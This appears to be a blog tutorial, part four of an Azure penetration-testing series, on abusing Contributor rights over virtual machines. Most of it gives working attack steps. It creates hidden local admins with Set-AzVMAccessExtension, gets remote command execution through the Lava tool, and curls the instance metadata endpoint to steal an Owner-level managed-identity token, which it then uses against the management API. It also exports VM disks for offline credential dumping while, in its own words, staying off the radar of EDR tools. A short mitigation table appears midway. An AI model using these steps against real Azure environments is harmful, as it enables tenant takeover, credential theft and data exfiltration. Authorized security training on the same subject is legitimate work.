Azure Penetration Testing Part - 4: Exploiting Contributor Permissions On IaaS
𧨠Exploiting Contributor Permissions on IaaS Services
With this level of access, attackers can
- Run arbitrary commands on VMs
- Harvest credentials from the OS
- Move laterally across virtual networks
- Exploit managed identities
- Escalate to subscription or tenant-level control
π Contributor Role: IaaS Exploitation Overview
The Contributor role allows management of all Azure resources except permission assignments. On IaaS (Infrastructure as a Service) workloads, that means
| Capability | Exploitable Use Case |
|---|---|
| Run VM commands | Dump creds, enumerate users, run malware |
| Reset local admin credentials | Take ownership of the OS |
| Install VM extensions | Deploy persistent backdoors |
| Export OS disks | Offline credential hunting and data exfiltration |
π― IaaS Exploitation Goals
When targeting VMs with Contributor rights, our objectives include
- π§ Local credential hunting
- π Domain credential hunting
- π§ Lateral movement across networks
- π‘οΈ Tenant escalation via token harvesting
π§ 1. Local Credential Hunting
Running commands on a VM allows us to extract
- Local Windows SAM hashes
- Linux
/etc/shadowpassword hashes - SSH keys and
.bash_history - Saved RDP credentials
- Cleartext credentials in config files
β οΈ Admins often reuse local credentials across multiple VMs or environments making local creds incredibly valuable for lateral movement.
π 2. Domain Credential Hunting
If the VM is domain joined, we may be able to harvest
- Cached domain credentials
- LSASS memory dumps with domain tokens
- Group Policy password leaks
- Domain admin sessions
π§ͺ Techniques include:
mimikatz(Windows)secretsdump.py(Impacket)grep,find,stringson Linux VMs
π Cracking domain hashes can lead to full domain compromise.
π§ 3. Lateral Movement via Virtual Networks
Azure VMs live inside user defined virtual networks (VNets). These VNets often have peering to
- On-premises environments
- Other VNets/subscriptions
- Hybrid cloud zones
By running port scans, DNS lookups, or reverse shells from compromised VMs, attackers can pivot into connected environments.
β οΈ Some organizations only enforce MFA on external logins meaning internal lateral movement can bypass stronger defenses.
π‘οΈ 4. Tenant Credential Hunting
Some Azure VMs host Privileged Access Workstations (PAWs) or jump hosts.
These often hold
- Cached Azure AD access tokens
- Service principal credentials
- Login sessions to high-privilege accounts
π§ VMs may also have Managed Identities enabled. With these, you can
- Query the VMβs metadata endpoint
- Extract an access token
- Use that token to access storage, Key Vaults, or automation services
π§° Exploiting Azure Platform Features with Contributor Rights
With Contributor permissions in Azure, you get more than just access to manage resources you gain control over critical platform-level features.
These features, while designed to streamline administrative workflows, can be weaponized by attackers to escalate access and move laterally across virtual machines and services.
π― Azure Platform Features We Can Abuse
| Feature | What It Enables |
|---|---|
| VM Password Reset | Create or overwrite local users with admin access |
| VM Run Command | Run OS level scripts remotely, without RDP/SSH |
| Public IP Reassignment | Expose internal VMs to the internet (RDP/SSH) |
| VM Extensions | Install persistence or custom payloads |
π Exploiting the VM Password Reset Feature
One of the easiest ways to gain interactive access to a VM with Contributor permissions is by resetting a local admin password.
Azureβs Set-AzVMAccessExtension cmdlet allows you to:
- Create a new local user on a VM
- Reset the password of an existing user
- Grant administrative privileges
- Do this without logging into the VM
π§ This feature works because all Azure VMs run the Azure VM Agent, which listens for control plane commands.
β Create an Admin User via PowerShell
1Connect-AzAccount
2
3Get-AzVM
4
5Set-AzVMAccessExtension -ResourceGroupName "PENTEST-RG" -VMName "winvm01" -Credential (Get-Credential) -TypeHandlerVersion "2.0" -Name VMAccessAgentπ€ Use Get-Credential to specify a username like pentestuser and a secure password.
π Get the Public IP for RDP Access
1Get-AzPublicIpAddress -Name winvm01* | Select IpAddressIf the VM doesnβt have a public IP or open RDP port, you can
- Assign a new public IP
- Open inbound port 3389 in the NSG
- Connect from your pentest machine via RDP
β οΈ Caution: Opening public access can alter the environment and introduce risk always check scope and get explicit approval.
π Outcome
Youβve now
- Created a new local admin on the target VM
- Accessed the VM interactively using RDP
- Escalated from platform control to host level access
π₯ Exploiting Privileged VM Resources Using Lava
In Azure environments, privilege escalation often hinges on identifying misconfigured IaaS resources particularly virtual machines (VMs) that are assigned Managed Identities with elevated roles like Owner.
In this hands on exercise, weβll use the open source Lava tool to:
-
Discover privileged VMs
-
Execute remote commands via Azure's VM Run Command feature
-
Harvest an
Ownerlevel token via the VMβs Managed Identity -
Use the token to control the Azure environment
-
β Azure CLI
-
β Docker / WSL (Linux shell)
-
β Lava
-
β
jq(for parsing API responses)
π§ͺ Step by Step: Exploiting Managed Identity via Lava
β Step 1: Authenticate to Azure
1az loginβ Step 2: Clone and Launch Lava
1git clone https://github.com/mattrotlevi/lava.git
2cd lava/
3python3 lava.pyOnce inside the Lava console, check the authenticated user
1Lava $> whoamiβ Step 3: Discover Privileged VMs
Use the vm_list_privileged module to identify VMs with high privileged managed identities
1Lava $> exec vm_list_privilegedπ Example Output
- linuxvm01 assigned Owner at subscription level
- windowsvm01 assigned Contributor
Make note of
- VM Name: linuxvm01
- Resource Group: PENTEST-RG
β Step 4: Exploit the VM Using vm_rce
Use the VM Run Command feature to execute shell commands on the target
1Lava $> exec vm_rce -rgrp PENTEST-RG -vm_name linuxvm01You now have a shell on the VM as a privileged user.
β Step 5: Harvest the Managed Identity Access Token
Request an Azure Resource Manager token from the Instance Metadata Service (IMDS)
1Lava $> curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com' -H "Metadata: true"Copy the access_token from the response.
β οΈ This token belongs to the VM's managed identity and inherits its permissions in this case, Owner at the subscription scope.
Type exit twice to leave the Lava shell
β Step 6: Use the Token to Control Azure
Set the token as an environment variable
1TOKEN=<ACCESS_TOKEN_FROM_PREVIOUS_STEP>β Step 7: Query Azure Resources Using the Token
1# List subscriptions
2curl --header "Authorization: Bearer ${TOKEN}" https://management.azure.com/subscriptions?api-version=2020-01-01 | jq
3
4
5# Store subscription ID
6SUB_ID=$(curl --header "Authorization: Bearer ${TOKEN}" https://management.azure.com/subscriptions?api-version=2020-01-01 | jq -r .value[].subscriptionId)
7
8# List resource groups
9curl --header "Authorization: Bearer ${TOKEN}" https://management.azure.com/subscriptions/${SUB_ID}/resourcegroups?api-version=2019-10-01 | jq
10
11
12# List all resources
13curl --header "Authorization: Bearer ${TOKEN}" https://management.azure.com/subscriptions/${SUB_ID}/resources?api-version=2019-10-01 | jqπ You now have full Owner level access using a token harvested from a managed identity without ever having direct RBAC Owner role.
π¨ Attack Summary
| Phase | Tool/Command | Purpose |
|---|---|---|
| Discover privileged VMs | exec vm_list_privileged | Find misconfigured managed identities |
| Shell access to VM | exec vm_rce | Abuse Run Command |
| Harvest token | curl to 169.254.169.254 | Access metadata service |
| Use token | curl + Bearer to ARM API | Interact with Azure as an Owner |
π‘οΈ Mitigation Guidance
| Control | Recommendation |
|---|---|
| RBAC Reviews | Avoid assigning Owner to Managed Identities |
| VM Hardening | Disable unused VM agents and metadata endpoint |
| Conditional Access + PIM | Enforce approval workflows for elevated roles |
| Identity Governance | Track token issuance from VMs via logs |
πΎ Exfiltrating VM Disks & Dumping Credentials Using PowerZure
Once youβve obtained Contributor level access to Azure VMs, the next logical step is to exfiltrate credentials and sensitive data to pivot deeper into the cloud or connected networks.
This chapter walks through:
- Exporting VM disks with PowerZure
- Offline credential extraction (e.g.,
SAM+SYSTEMhive for NTLM hashes) - Parsing LSASS memory dumps with Mimikatz, offline
π Why Exfil VM Disks?
Exporting a VMβs disk gives you offline access to:
- Credential artifacts (SAM/SECURITY/SYSTEM)
- In memory dumps (like LSASS)
- Application secrets or SSH keys
- Unattended install files or extension logs
All without interacting with live security controls like EDR or Defender.
βοΈ Step by Step: Exporting VM OS Disks with PowerZure
β Step 1: Connect to Azure
1Connect-AzAccountβ Step 2: Load PowerZure
1Import-Module .\PowerZure.ps1β Step 3: Get a list of all unattached VM disks
1Get-AzDisk | Where-Object {$_.DiskState -ne "Attached"} | Select Name, DiskState, Encryptionβ Step 4: Generate a publicly accessible URL to export the disk
1Get-AzureVMDisk -DiskName <DISK_NAME_FROM_STEP_4>π Common Credential Sources in VMs
| Source | What to Look For |
|---|---|
| SAM + SYSTEM hives | NTLM hashes |
App config files (e.g., web.config) | DB creds, API keys |
| Windows Credential Store | Saved RDP, network shares |
AzureVmAgent extension logs | Tokens or keys in plaintext |
.bash_history, .ssh/ (Linux) | SSH keys, shell command history |
π§ Summary
Exfiltrating Azure VM disks lets you
- Stay off the radar of EDR tools
- Harvest passwords and hashes
- Move laterally within cloud or hybrid networks
- Potentially escalate to domain admin or tenant wide compromise
With just Contributor permissions and some patience, you can crack open the secrets of any misconfigured IaaS workload.